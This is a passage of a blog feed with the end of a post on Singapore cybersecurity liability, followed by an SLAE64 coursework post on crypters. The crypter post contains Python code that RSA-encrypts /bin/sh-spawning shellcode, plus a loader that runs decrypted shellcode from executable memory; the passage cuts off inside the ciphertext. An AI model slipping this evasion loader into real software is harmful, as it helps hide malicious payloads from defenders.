&lt;p&gt;Employees who shirk their responsibilities may be held personally liable. This will be a good way to ensure people take their jobs seriously. Nonetheless, legislating is not sufficient, the government must be willing to enforce it. With the recent SingHealth case, several employees were found to be grossly negligent, contravening S14 Duty to report cybersecurity incident in respect of critical information infrastructure. However, no individual was held accountable.&lt;/p&gt;
&lt;p&gt;Update (27-11-2019) - The government has &lt;a href="https://www.straitstimes.com/tech/all-govt-agencies-to-take-steps-to-safeguard-personal-data-measures-to-be-in-place-in-most?fbclid=IwAR2Z9AgqnVxaeZLdoYDQTMPae2b4IYmapyg1mAIPAJLb7UAy_n03p5Gmof0"&gt;announced&lt;/a&gt; that third-party vendors handling government data who misuse personal data will also come under the Personal Data Protection Act.&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category><category term="Legal"></category></entry><entry><title>SLAE64 #7 - Crypters</title><link href="https://limbenjamin.com/articles/slae64-7-crypters.html" rel="alternate"></link><published>2019-05-25T20:21:00+08:00</published><updated>2019-05-25T20:21:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2019-05-25:/articles/slae64-7-crypters.html</id><summary type="html">&lt;p&gt;Since shellcode is usually very small in size, I have used RSA asymmetric encryption to encrypt the shellcode. Most of the code is boilerplate code so there is not much to talk about.&lt;/p&gt;
&lt;p&gt;Encryptor.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16 …&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;Since shellcode is usually very small in size, I have used RSA asymmetric encryption to encrypt the shellcode. Most of the code is boilerplate code so there is not much to talk about.&lt;/p&gt;
&lt;p&gt;Encryptor.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;
&lt;span class="normal"&gt;33&lt;/span&gt;
&lt;span class="normal"&gt;34&lt;/span&gt;
&lt;span class="normal"&gt;35&lt;/span&gt;
&lt;span class="normal"&gt;36&lt;/span&gt;
&lt;span class="normal"&gt;37&lt;/span&gt;
&lt;span class="normal"&gt;38&lt;/span&gt;
&lt;span class="normal"&gt;39&lt;/span&gt;
&lt;span class="normal"&gt;40&lt;/span&gt;
&lt;span class="normal"&gt;41&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptography.hazmat.backends&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;default_backend&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptography.hazmat.primitives.asymmetric&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;rsa&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptography.hazmat.primitives&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;serialization&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptography.hazmat.primitives&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hashes&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptography.hazmat.primitives.asymmetric&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;padding&lt;/span&gt;


&lt;span class="n"&gt;private_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rsa&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;generate_private_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;public_exponent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;65537&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;key_size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2048&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;backend&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;default_backend&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;public_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;private_key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;public_key&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;pubpem&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;public_key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;public_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;serialization&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Encoding&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PEM&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;serialization&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PublicFormat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SubjectPublicKeyInfo&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="n"&gt;privpem&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;private_key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;private_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;serialization&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Encoding&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PEM&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;serialization&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PrivateFormat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PKCS8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;encryption_algorithm&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;serialization&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NoEncryption&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="n"&gt;privpem&lt;/span&gt;

&lt;span class="n"&gt;shellcode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;encrypted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;public_key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;shellcode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;padding&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;OAEP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;mgf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;padding&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MGF1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;algorithm&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;hashes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SHA256&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt;
        &lt;span class="n"&gt;algorithm&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;hashes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SHA256&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
        &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="n"&gt;encrypted&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;base64&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Decryptor.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;
&lt;span class="normal"&gt;33&lt;/span&gt;
&lt;span class="normal"&gt;34&lt;/span&gt;
&lt;span class="normal"&gt;35&lt;/span&gt;
&lt;span class="normal"&gt;36&lt;/span&gt;
&lt;span class="normal"&gt;37&lt;/span&gt;
&lt;span class="normal"&gt;38&lt;/span&gt;
&lt;span class="normal"&gt;39&lt;/span&gt;
&lt;span class="normal"&gt;40&lt;/span&gt;
&lt;span class="normal"&gt;41&lt;/span&gt;
&lt;span class="normal"&gt;42&lt;/span&gt;
&lt;span class="normal"&gt;43&lt;/span&gt;
&lt;span class="normal"&gt;44&lt;/span&gt;
&lt;span class="normal"&gt;45&lt;/span&gt;
&lt;span class="normal"&gt;46&lt;/span&gt;
&lt;span class="normal"&gt;47&lt;/span&gt;
&lt;span class="normal"&gt;48&lt;/span&gt;
&lt;span class="normal"&gt;49&lt;/span&gt;
&lt;span class="normal"&gt;50&lt;/span&gt;
&lt;span class="normal"&gt;51&lt;/span&gt;
&lt;span class="normal"&gt;52&lt;/span&gt;
&lt;span class="normal"&gt;53&lt;/span&gt;
&lt;span class="normal"&gt;54&lt;/span&gt;
&lt;span class="normal"&gt;55&lt;/span&gt;
&lt;span class="normal"&gt;56&lt;/span&gt;
&lt;span class="normal"&gt;57&lt;/span&gt;
&lt;span class="normal"&gt;58&lt;/span&gt;
&lt;span class="normal"&gt;59&lt;/span&gt;
&lt;span class="normal"&gt;60&lt;/span&gt;
&lt;span class="normal"&gt;61&lt;/span&gt;
&lt;span class="normal"&gt;62&lt;/span&gt;
&lt;span class="normal"&gt;63&lt;/span&gt;
&lt;span class="normal"&gt;64&lt;/span&gt;
&lt;span class="normal"&gt;65&lt;/span&gt;
&lt;span class="normal"&gt;66&lt;/span&gt;
&lt;span class="normal"&gt;67&lt;/span&gt;
&lt;span class="normal"&gt;68&lt;/span&gt;
&lt;span class="normal"&gt;69&lt;/span&gt;
&lt;span class="normal"&gt;70&lt;/span&gt;
&lt;span class="normal"&gt;71&lt;/span&gt;
&lt;span class="normal"&gt;72&lt;/span&gt;
&lt;span class="normal"&gt;73&lt;/span&gt;
&lt;span class="normal"&gt;74&lt;/span&gt;
&lt;span class="normal"&gt;75&lt;/span&gt;
&lt;span class="normal"&gt;76&lt;/span&gt;
&lt;span class="normal"&gt;77&lt;/span&gt;
&lt;span class="normal"&gt;78&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptography.hazmat.backends&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;default_backend&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptography.hazmat.primitives&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;serialization&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptography.hazmat.primitives&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hashes&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptography.hazmat.primitives.asymmetric&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;padding&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;ctypes&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;mmap&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create_shellcode_function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shellcode_str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;shellcode_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shellcode_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Allocate memory with a RWX private anonymous mmap&lt;/span&gt;
    &lt;span class="n"&gt;exec_mem&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mmap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shellcode_bytes&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
                         &lt;span class="n"&gt;prot&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mmap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PROT_READ&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;mmap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PROT_WRITE&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;mmap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PROT_EXEC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                         &lt;span class="n"&gt;flags&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mmap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MAP_ANONYMOUS&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;mmap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MAP_PRIVATE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Copy shellcode from bytes object to executable memory&lt;/span&gt;
    &lt;span class="n"&gt;exec_mem&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shellcode_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Cast the memory to a C function object&lt;/span&gt;
    &lt;span class="n"&gt;ctypes_buffer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ctypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c_int&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;from_buffer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exec_mem&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;function&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ctypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CFUNCTYPE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ctypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c_int64&lt;/span&gt; &lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ctypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addressof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctypes_buffer&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_avoid_gc_for_mmap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;exec_mem&lt;/span&gt;

    &lt;span class="c1"&gt;# Return pointer to shell code function in executable memory&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;function&lt;/span&gt;




&lt;span class="n"&gt;private_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;-----BEGIN PRIVATE KEY-----&lt;/span&gt;
&lt;span class="s2"&gt;MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDjwvXM4jR2RA6v&lt;/span&gt;
&lt;span class="s2"&gt;+jXFxx9fp7pxKhHI0BJL7prbnpbdIdFLEKSszLGot9ES/0YMo6oOvsKKWB1EGSvY&lt;/span&gt;
&lt;span class="s2"&gt;JEKS+XufaTB6iw/pykw7Jmyx5pFHrboHYckUmNI5+k2y3K3XhRpJJ2Gb2vw2MhHh&lt;/span&gt;
&lt;span class="s2"&gt;6VOvfKPRv0BF8sFgOL8vwYPyN21e5AKieqD4ghEfYBOhCTKrYC0l0nm1a25Sw+pJ&lt;/span&gt;
&lt;span class="s2"&gt;NYmC3Ka4l/1DqFJ9Cr/lK4Un68Gk+z3WtxgdR97QkgJmt08YE8dIL14qfuKPtEon&lt;/span&gt;
&lt;span class="s2"&gt;JJL31Ui/5tgCmMJCl+t9gPYduY8FM4iPImJMgxeXu+9GDxdx5VEG842iNg1Lfesi&lt;/span&gt;
&lt;span class="s2"&gt;PAPOViP5AgMBAAECggEBAIj9aE4U+Czx/kuGGPWeMJaeEZujDBNWYsrc9rOFjYPv&lt;/span&gt;
&lt;span class="s2"&gt;pSybFBEDBRBPjyb39y/++Hfp8KS5HtEouqBEHu67s8lLwWbTYXziujsRf2r5HQSZ&lt;/span&gt;
&lt;span class="s2"&gt;zzxFamZDDJ7ml/kuljj8y7SYRTMy4WPPdcYFStpQA1BS0dvAiOLQ/t1AbZYwFE5v&lt;/span&gt;
&lt;span class="s2"&gt;fwvlaDy15fwUGdkM6rDsMKAwiMSSWQ9VW3Z7rLSQAPhO1hR3/pMEuMs/vac0S1AG&lt;/span&gt;
&lt;span class="s2"&gt;SUNfz/J23dfBJxtKdtrjg/CgylETscnX8E3W8kcb50zYWtwSw+lNaXoVVn65qDDY&lt;/span&gt;
&lt;span class="s2"&gt;xfMe3g1+jSNF9SN5dg8UOOW9oG/xbUkovlCYpABnZgECgYEA/G9QLO8oC6G8OJM3&lt;/span&gt;
&lt;span class="s2"&gt;t/2+SNlhYEixW0wpOLxyFAui9XWDEae5P9scWpUYGdS9kgwTtYobE92WhiWrOb6W&lt;/span&gt;
&lt;span class="s2"&gt;35a8LM1nvgOQO4dWJ9q749VKKpmKzFwT4eelSaXzQH4aw6O+ttkWqvaglUoF5gjV&lt;/span&gt;
&lt;span class="s2"&gt;5oIUZFFd1QM98bysHbvpiMFbUaECgYEA5vpwocUenkfJguCSmeeir+K0MbhNcyV5&lt;/span&gt;
&lt;span class="s2"&gt;9MTXs3KYv7d9hKZgZRsmKKDge8nwaCzdVzdQQZgQhxYRM0R6W35QOGYYuQOM1vph&lt;/span&gt;
&lt;span class="s2"&gt;XgX2JX2BD8d21/2PilrPLiBZ/x1kRephR1BqI3QX4GxEXeRf9A3K+dDBIRTLDckn&lt;/span&gt;
&lt;span class="s2"&gt;JLdKEqoV41kCgYA2qCtl70pualCEt2uDDQ/cWiT5YgP0zqLGRBc3O+XG2/DLK9Oy&lt;/span&gt;
&lt;span class="s2"&gt;fdC/1DRps2RwcOj7j7GZNYtX9GQElr24H70Svk7OF5ttKDqBWp0AEbiDTMd+xBkR&lt;/span&gt;
&lt;span class="s2"&gt;+sQRFDt9JVDKN3QdxxdfYRMX//US/6rAxD2CExQMAS2yX7WsonlIQQVywQKBgHtG&lt;/span&gt;
&lt;span class="s2"&gt;uwp8DIVpxxFFDrl5uYiqNIY82YlVPSv4Sy+JQCFCq4k6y0PrI4iXpHgtJVRUbaX4&lt;/span&gt;
&lt;span class="s2"&gt;7aq0oE2Y54E3UR634dTYGOXWETtD0ue9wsvrmhBz4ugQeqXbJax2s9HHPBdcqqLH&lt;/span&gt;
&lt;span class="s2"&gt;Nn7JnVy4LBz4oIW/Ps/qLMmdMWqgK3YbJTuk752xAoGABkSRTEfy6KtN4o4iAA6s&lt;/span&gt;
&lt;span class="s2"&gt;yZfzW98/goxCnjORaChrl4guvqmOsvJpfqqIiBKVJ5ITwSw9xcr/M99qWAfC2MpX&lt;/span&gt;
&lt;span class="s2"&gt;pDR9B3bgmJ+dMhCiCnLU9n7Rzz9tuMCtxXVwzl/0rMCHGh311OEyaMyfZNNPIFmg&lt;/span&gt;
&lt;span class="s2"&gt;sjhmgtz7iUSwPcWt3gIiMJE=&lt;/span&gt;
&lt;span class="s2"&gt;-----END PRIVATE KEY-----&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;

&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;tGfscW1SL2tEvjlGeA+kq+DjGxb8/xOIxMjp/ZgOnOfHtsxPf11FRIH6ww8xIaQRXzgjDeQURTvESWiTVr5/apINXS+NnN8PzSuOt2baBpsqoB70DWKGNTOjB&lt;/span&gt;
